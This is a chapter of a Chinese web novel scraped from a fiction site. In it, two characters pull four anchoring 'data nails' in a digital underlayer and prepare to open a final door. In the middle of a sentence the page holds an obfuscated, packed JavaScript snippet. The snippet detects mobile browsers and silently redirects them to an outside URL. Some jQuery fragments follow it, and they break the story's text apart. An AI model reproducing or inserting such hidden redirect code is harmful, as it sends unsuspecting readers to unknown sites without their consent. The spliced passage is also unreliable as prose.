文趣网 > 都市小说 > 入侵你的代码层 > 22. 第二十二天
    第二十二天清晨,张驭上线的时候背包里没有新东西。

    他站在登录坐标点,外套口袋里是那块叠好的灰布,背包里是四件已经全部存放在底层的实物——挂饰、会议照片、监控截图、笔记本。今天他只带了自己,刀在腰后,外套深灰色,站姿和任何一个早晨一样稳。

    “今天修第22个。”他说。

    “修复完成后,四段参数全部到位了。”

    张驭打开地图,朝第22个裂隙的方向迈开步子。他的背包比前几天都薄,但走路的节奏没有变。

    两人朝第22个裂隙点移动。走了约一公里后,银灰色地面已经完全覆盖了视野所及的全部区域,灰白色几乎看不到了。地面不再是平整的,而是呈现出极缓慢的起伏——每隔几秒,地面会轻微地鼓起来然后落下,幅度不大,大约一到两厘米,像地底有什么东西在缓慢地呼吸。李析在终端里扫描了起伏的频率和幅度,发现它和底层能量活动的强度曲线完全吻合。

    “底层的能量活动比之前强了很多。”他把扫描结果同步到张驭的视野里,“第22个裂隙点所在的区域是四段参数中能量密度最高的位置——季明在第四段参数的位置布置了额外的锚定结构,像是要把那行代码钉死在底层里。取走第四段参数的时候锚定结构还在。如果不把它拔除,第四段参数的恢复可能不稳定。”

    张驭走在起伏的地面上,靴底落地时能感觉到地面轻微的弹性回馈:“能取吗?”

    “能。但和前面的修复不同,这次取走的是锚定不是数据。取走锚定之后,第四段参数的位置会彻底恢复自由。”

    第22个裂隙点在第21个通道的末端,银灰色地面的起伏中心。地面上没有裂口、没有切口、没有核或任何之前见过的形态。地面上有四个极细的孔洞,围成一个边长约一尺的正方形,每一个孔洞内部都嵌着一根银白色的“数据钉”,钉身半露在地面以上,顶部有一个极细的环。四根钉的位置对应着第四段参数被“锚定”在底层里的四个方向,像是季明在修改完第四段之后额外钉了四根钉子来防止它在底层结构中自然漂移。

    张驭蹲下来。他抽出口袋里的灰布垫在右膝下——动作已经很自然了,左手抽出、展开、折叠、垫下、左手收回、右手伸出接入——整个序列在四到五秒内完成,没有任何中断。“怎么拔?”

    “四根钉需要逐根拔出。每根钉的嵌入深度和角度不同,拔出顺序有讲究——先拔对角的两根,再拔另一对角的两根。不能错序。整个过程的持续接入时间大约三十分钟。”

    张驭的视线扫过四根钉的位置,在第一根和第二根之间停了一下,然后说:“对角先拔。”他的右手已经伸向了第一根钉。

    修复开始。张驭以权限流包裹第一根钉的顶部环口,缓慢向上提拉。钉身的阻力比预期大,像是被底层的密集数据层包裹了太久,权限流需要穿透约三层的残余加密才能接触钉身的完整轮廓。第一根钉拔出用了约九分钟,钉身完全脱离地面时,孔洞边缘亮起一圈银光,然后缓缓熄灭。地面起伏的频率在钉脱出的瞬间微降了一丝。

    第二根钉——对角线的另一根。阻力比第一根略小,包裹层的密度在第一根拔出后已经有所降低。张驭的权限流以稍高的速度切入,拔出的流畅度明显提升。第二根钉用时约七分钟,孔洞边缘亮起银光然后熄灭。

    第三根钉——第二对对角线中的第一根。持续阻力出现在了拔出到一半的位置,钉身在银灰色的地面里卡了一下,像被什么东西从侧面夹住了。张驭的右手停住了一瞬,李析在终端里同步校准了接入角度,张驭的权限流微调了方向,钉身从卡顿中脱离、继续向上。第三根钉用时约十分钟。

    第四根钉是最后一根。张驭的权限流包裹住环口的时候,李析在终端里感知到了他的右臂肌肉比拔前三根时更紧了一些——连续二十分钟的高精度输出消耗在累积。他没有停手。第四根钉缓慢地向上移动,一寸、两寸、三寸,拔到最顶端的瞬间——地面下传来了一阵低频的震动。和李析之前扫描到的呼吸起伏不同,更急促、更尖锐,频率在短时间内快速升高,像一种被触发的警告信号。震动持续了约两秒后消失,地面的起伏在震动结束后的几秒内比之前慢了许多。

    李析追踪了震动信号的源头和方向:“震动源来自第四段参数所在地面下方约三米。信号发送方向——指向表层。”

    张驭的手停了一下,然后继续向上拔完了最后一寸。“……发出去了?”

    “幅度比第19个的回执标记大。可能不仅仅是‘有人在拆’的通知——可能包含了位置信息。”

    “……”张驭没有说话。他已经把第四根钉从地面里完整地拔了出来。四根钉全部脱离地面后,银灰色的地面从孔洞周围缓慢地向四周扩散出一圈灰白色,像一滴墨水被清水缓慢稀释。起伏的地面开始减弱频率,呼吸般的节奏一寸一寸地放缓。四个孔洞在钉被拔出的位置依次闭合,银灰色的大片区域从第22个点的中心开始向灰白色转变,速度不快,但方向是单向的。

    进度跳到【21/30】。

    张驭站起来。他把灰布从膝盖下抽出来,叠好放回口袋,动作和之前一样流畅。他低头看了一会儿正在缓慢变回灰白色的地面,然后说:“开门的条件出来了吗?”

    “正在回传。”李析在终端里监测到了一个信号——从第23个裂隙的方向发来的。锚定结构被解除后,第23扇门像是一台一直没能通电的装置终于接通了电源,开始向外发送自身的信息。信号在终端内部展开之后,李析看到了一组结构描述:门前地面上有四道平行的凹槽,间距和四件实物的宽度依次对应。门的开启流程是:四件实物嵌入四道凹槽——接入者以四段参数全部恢复后产生的稳定信号作为钥匙——门打开——四段参数在开门的同时同步恢复。

    “开启条件确认了。四件实物分别嵌入四道凹槽,接入者以恢复后的四段参数信号作为钥匙。门开了之后四段参数会在同一时刻同时恢复。我们必须先把四段参数的恢复代码准备好,然后在开门的同时注入底层协议层。”

    张驭转身往回走:“明天去开。”

    返程路上,李析在终端里重新翻了黎帆的笔记本。他之前已经翻完了所有可见内容,但在最终页的背面,他注意到了一行几乎没有墨水的压痕——不是用笔写的,是用什么东西在纸上压出来的。像是黎帆在写其他内容的时候无意间垫了一张纸在上面,留下的印痕太浅了,之前扫描的时候被他自己忽略了。他用图像增强把压痕逐层还原,一行完整的句子从模糊的轮廓里浮现了出来:

    “季明有后手。一旦第四段锚定被拔除,他在表层的接口可能会自动启动。我无法确认启动后会怎样。但如果你看到这一行——请在门打开之前做好表层准备。”

    李析把那行压痕同步到了张驭的视野里。“表层准备。他说我们需要有人在表层看着。如果我们同时恢复了四段参数,季明的接口可能在表层被触发。”

    张驭走在前面,步频没有变化:“我在表层有人。但接口启动

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17930599|213624||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    之后会怎样——黎帆也不知道。”

    “……可能要等门打开之后才能知道。”

    走回通道入口。张驭站定,背包在肩上,那块灰布在外套口袋里。他在入口边缘站了一会儿,然后说:“明天早上开第23个门。你那边需要做什么准备?”

    “四段参数的恢复代码我已经准备好了。门打开的时候我会把四段同时注入底层协议层。”李析停了一下,“你在表层联系的人——让他们注意接口层面的任何异常活动。”

    “我已经通知了。”张驭说。

    李析在终端里停了一拍:“……什么时候?”

    “来之前。”

    张驭在来之前就已经通知了他在表层的人——因为他早就在思考“门打开之后表层会怎样”的问题。他没有等李析提出来,他已经在来之前的那个清晨做完了那件事。走在了问题出现之前。

    张驭站在通道入口边缘,今天没有像往常一样直接跨进去。他停了一下,停的时间比平时任何一次都长。然后他说了一句话,是之前没有问过的问题:“明天开了门之后——你是先回表层,还是继续待在底层?”

    李析在终端里停顿了一下。他之前没有想过这个问题——他从第一天开始就在想“怎么修完”和“怎么活过三十天”,但他没有想过“修完之后自己在哪里”。底层修复完成后,所有被困数据会被释放回原生层。他可能会被自动弹出到最后一次正常登录的位置,也可能需要手动离场。他在理论模型里推演过两种情况,但没有一种能让他确定自己明天晚上还会不会在这个终端里。

    “……不知道。底层恢复之后我可能会被弹出,也可能需要手动离场。理论模型推演过两种情况。”他停了一下,“明天门开之后才知道是哪一种。”

    张驭没有接话。他站在入口边缘,灰白色的过渡层的光已经漫到了他的脚踝。他低着头,像在思考要不要再说一句什么。然后他开口了,声音比平时轻了一点:“……明天到了现场再说。”

    然后他跨进了通道入口。灰白色的过渡层吞没了他,暗红色的刀光闪了一下,底层恢复寂静。

    李析在终端里待了很久。张驭问的问题在他感知层里持续地回响:“开了门之后你是先回表层还是继续待。”那不是技术性的询问。他在问的是“门打开之后你还会不会在这个空间里,我还能不能在这里见到你”。

    李析没有答案。他打开四段参数的恢复代码确认了一遍,所有值、时间戳、注入顺序全部正确。然后他打开第23扇门的图像又看了一遍,门上三道凹槽的尺寸和四件实物的排列方式已经在视觉记忆里完全对齐。他关闭了所有界面,把感知层完全静置了大约十分钟。没有输入,没有输出,只有数据流本身的稳定脉动。

    明天门会打开。四段参数会同时恢复。季明的接口可能会被触发。而他可能会被弹出,也可能需要手动离场。他有好几种可能在明天发生,但没有一种能让他确定自己明天晚上还会在这里。

    他在灰白色的终端空间里慢慢沉入浅层休眠。这是他二十二天来第一次在“不知道明天是否还在”的情况下入睡。但他知道明天张驭会来——六点半,准时上线,口袋里装着那块灰布,背包里装着四件实物。他会站在登录坐标点上,先看一眼接入界面的绿点是否亮着。

    第二十二天结束了。四段参数全部到位,锚定结构全部解除,第23扇门的开启条件已经明确。明天是最后一个节点。明天门开之后——他们之中可能有一个人会留在底层,另一个人不会。